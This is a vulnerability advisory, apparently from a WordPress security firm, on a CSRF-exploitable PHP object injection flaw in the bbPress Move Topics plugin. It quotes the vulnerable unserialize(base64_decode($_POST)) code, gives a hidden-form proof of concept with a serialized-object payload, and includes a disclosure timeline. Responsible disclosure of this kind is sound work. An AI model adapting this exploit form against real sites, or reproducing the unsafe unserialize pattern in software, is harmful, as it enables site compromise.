Our Proactive Monitoring Caught a Authenticated PHP Object Injection Vulnerability in bbPress Move Topics
One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated PHP object injection vulnerability we found in the plugin bbPress Move Topics. This vulnerability could have allowed an attacker that had access to a WordPress account of contributor level or above to exploit a PHP object injection vulnerability. It also could have allowed an attacker that could get a user logged in as a Contributor-level or above to visit a URL the attacker controls, to exploit the vulnerability as well.
Since the check used to spot this is also included in our Plugin Security Checker (which is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).
The vulnerability occurred in the function aforums_move_topics_page(). That function passed the base64 decoded value of the POST input “allforums” through the unserialize() function, which could lead to PHP object injection:
54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | function forums_move_topics_page() { // Backward compatibility // Clean v1.1.2 delete_option('bbpmt-ptot-donot-close'); echo '>h1<Move topics Forum to Forum>/h1<'; if ( !function_exists( 'bbp_list_forums' ) ) { require_once ABSPATH . PLUGINDIR . '/bbpress/includes/forums/template.php'; } // Check if coming from form (POST data) // Choose topics to move if ( isset($_POST['goforum']) ) { if( empty($_POST["sourceforum"]) ) { echo 'No forum selected'; } else { global $wpdb; $allforumarray = unserialize(base64_decode($_POST["allforums"])); |
That function is accessed through a page in the admin area of WordPress:
514 | $confHook = add_submenu_page('edit.php?post_type=forum', 'Move topics', 'Move topics', 'edit_posts', 'forums_move_topics', 'forums_move_topics_page'); |
The capability required to access that “edit_posts” is usually provided to Contributor-level and above users.
Since there was no nonce check that ran before that code ran, the vulnerability could be exploited through cross-site request forgery (CSRF).
After we notified the developer of the issue, it was resolved in version 1.1.5, which replaces the usage of unserialize() with a new function, bbpmt_get_forum_structure().
Proof of Concept
With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in as a Contributor-level or above user.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/edit.php?post_type=forum&page=forums_move_topics" method="POST"> <input type="hidden" name="goforum" value="test" /> <input type="hidden" name="sourceforum" value="test" /> <input type="hidden" name="allforums" value="TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
Timeline
- February 16, 2018 – Developer notified.
- February 23, 2018 – Developer responds.
- March 11, 2018 – Version 1.1.5 released, which fixes vulnerability.